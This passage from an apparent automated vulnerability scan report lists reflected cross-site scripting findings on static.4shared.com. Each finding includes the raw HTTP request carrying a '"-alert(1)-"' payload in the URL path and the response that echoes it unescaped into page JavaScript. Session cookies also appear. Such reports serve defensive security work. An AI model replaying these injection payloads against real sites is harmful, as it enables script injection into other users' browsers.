Cache-Control: max-age=0
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; __utmb=210074320.1.10.1298497029; WWW_JSESSIONID=72833390295947212805B0C0BC19F5EA.dc278; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundles76573&quot;-alert(1)-&quot;ec03b530299/css/gzip_N90201876/css/ajax-suggestions.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=9A9839C8DEFBDA68BADCFD7665FEA8D0.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:50:52 GMT
Content-Length: 36369


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles76573"-alert(1)-"ec03b530299/css/gzip_N90201876/css/ajax-suggestions.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();

...[SNIP]...

1.208. http://static.4shared.com/bundles/css/gzip_N90201876/css/ajax-suggestions.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/gzip_N90201876/css/ajax-suggestions.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e355f"-alert(1)-"c59a7821a20 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/csse355f"-alert(1)-"c59a7821a20/gzip_N90201876/css/ajax-suggestions.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Cache-Control: max-age=0
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; __utmb=210074320.1.10.1298497029; WWW_JSESSIONID=72833390295947212805B0C0BC19F5EA.dc278; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundles/csse355f&quot;-alert(1)-&quot;c59a7821a20/gzip_N90201876/css/ajax-suggestions.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=7B5D4E113620780EF4F857D96ACFA259.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:50:57 GMT
Content-Length: 36358


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/csse355f"-alert(1)-"c59a7821a20/gzip_N90201876/css/ajax-suggestions.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}

...[SNIP]...

1.209. http://static.4shared.com/bundles/js/1258691160/bundles/js/global.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/js/1258691160/bundles/js/global.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ccb7"-alert(1)-"03ea243a2a2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles9ccb7"-alert(1)-"03ea243a2a2/js/1258691160/bundles/js/global.js HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundles9ccb7&quot;-alert(1)-&quot;03ea243a2a2/js/1258691160/bundles/js/global.js
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=0E38EA5308504D5C33D6DD7767A3BD57.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:31 GMT
Content-Length: 36305


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles9ccb7"-alert(1)-"03ea243a2a2/js/1258691160/bundles/js/global.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
f
...[SNIP]...

1.210. http://static.4shared.com/bundles/js/1258691160/bundles/js/global.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/js/1258691160/bundles/js/global.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4da92"-alert(1)-"7b78290c6f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/js4da92"-alert(1)-"7b78290c6f9/1258691160/bundles/js/global.js HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundles/js4da92&quot;-alert(1)-&quot;7b78290c6f9/1258691160/bundles/js/global.js
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C39C846DD17D85C176855BA695E2C4C8.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:36 GMT
Content-Length: 36305


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/js4da92"-alert(1)-"7b78290c6f9/1258691160/bundles/js/global.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
func
...[SNIP]...

1.211. http://static.4shared.com/bundles/js/gzip_1258691160/bundles/js/global.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/js/gzip_1258691160/bundles/js/global.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb4d2"-alert(1)-"5f2a71056a9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundlesbb4d2"-alert(1)-"5f2a71056a9/js/gzip_1258691160/bundles/js/global.js HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundlesbb4d2&quot;-alert(1)-&quot;5f2a71056a9/js/gzip_1258691160/bundles/js/global.js
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=FD429EE8057B85C86EB3CF8CBFD9A936.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:06 GMT
Content-Length: 36338


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundlesbb4d2"-alert(1)-"5f2a71056a9/js/gzip_1258691160/bundles/js/global.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}

...[SNIP]...

1.212. http://static.4shared.com/bundles/js/gzip_1258691160/bundles/js/global.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/js/gzip_1258691160/bundles/js/global.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83dc7"-alert(1)-"5295142c7b1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/js83dc7"-alert(1)-"5295142c7b1/gzip_1258691160/bundles/js/global.js HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundles/js83dc7&quot;-alert(1)-&quot;5295142c7b1/gzip_1258691160/bundles/js/global.js
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=AB763FE317659EF84EDC6A27F3F97ABD.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:10 GMT
Content-Length: 36349


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/js83dc7"-alert(1)-"5295142c7b1/gzip_1258691160/bundles/js/global.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}

...[SNIP]...

1.213. http://static.4shared.com/css/4shFeatures.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/4shFeatures.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a532a"-alert(1)-"56c404f6318 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssa532a"-alert(1)-"56c404f6318/4shFeatures.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /cssa532a&quot;-alert(1)-&quot;56c404f6318/4shFeatures.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=BEF9E6303AEEAD94CE76A913B1A2F00C.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:15 GMT
Content-Length: 36190


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/cssa532a"-alert(1)-"56c404f6318/4shFeatures.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback()
...[SNIP]...

1.214. http://static.4shared.com/css/4shFeatures.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/4shFeatures.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload faf1b"-alert(1)-"8d2f34b5bc1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/4shFeatures.cssfaf1b"-alert(1)-"8d2f34b5bc1?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/4shFeatures.cssfaf1b&quot;-alert(1)-&quot;8d2f34b5bc1
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C45CCF983AA74A4AF3418259238DAC27.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:19 GMT
Content-Length: 36190


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/4shFeatures.cssfaf1b"-alert(1)-"8d2f34b5bc1";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.215. http://static.4shared.com/css/common.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/common.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 498ae"-alert(1)-"582fd7f25e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css498ae"-alert(1)-"582fd7f25e7/common.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css498ae&quot;-alert(1)-&quot;582fd7f25e7/common.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=902A375A6F87ECE1509A04F2E46DBA86.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:24 GMT
Content-Length: 36165


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css498ae"-alert(1)-"582fd7f25e7/common.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.216. http://static.4shared.com/css/common.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/common.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ddd86"-alert(1)-"e7244271d61 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/common.cssddd86"-alert(1)-"e7244271d61 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/common.cssddd86&quot;-alert(1)-&quot;e7244271d61
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E72E8FA400055E4F31C2D8E5BECF0112.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:30 GMT
Content-Length: 36165


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/common.cssddd86"-alert(1)-"e7244271d61";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.217. http://static.4shared.com/css/coolbuttons.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/coolbuttons.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 658a0"-alert(1)-"488f25f19da was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css658a0"-alert(1)-"488f25f19da/coolbuttons.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css658a0&quot;-alert(1)-&quot;488f25f19da/coolbuttons.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=982CF7DB786472C50698080400077D8F.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:14 GMT
Content-Length: 36179


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css658a0"-alert(1)-"488f25f19da/coolbuttons.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback()
...[SNIP]...

1.218. http://static.4shared.com/css/coolbuttons.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/coolbuttons.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ebafb"-alert(1)-"74fc1488d18 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/coolbuttons.cssebafb"-alert(1)-"74fc1488d18?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/coolbuttons.cssebafb&quot;-alert(1)-&quot;74fc1488d18
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=272DE1FC343CD7FCD18B47BB2B44D346.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:17 GMT
Content-Length: 36190


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/coolbuttons.cssebafb"-alert(1)-"74fc1488d18";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.219. http://static.4shared.com/css/features.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/features.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4d0b9"-alert(1)-"5faf4995697 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css4d0b9"-alert(1)-"5faf4995697/features.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css4d0b9&quot;-alert(1)-&quot;5faf4995697/features.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=FFA7B8C14C0841DA4DF96AD5595073B3.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:39:52 GMT
Content-Length: 36175


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css4d0b9"-alert(1)-"5faf4995697/features.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.220. http://static.4shared.com/css/features.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/features.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79d0d"-alert(1)-"e9d06030ced was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/features.css79d0d"-alert(1)-"e9d06030ced?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/features.css79d0d&quot;-alert(1)-&quot;e9d06030ced
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=7754151BBD15078673114ABBBD9C8243.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:39:55 GMT
Content-Length: 36175


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/features.css79d0d"-alert(1)-"e9d06030ced";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.221. http://static.4shared.com/css/indexm.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexm.css

Issue detail

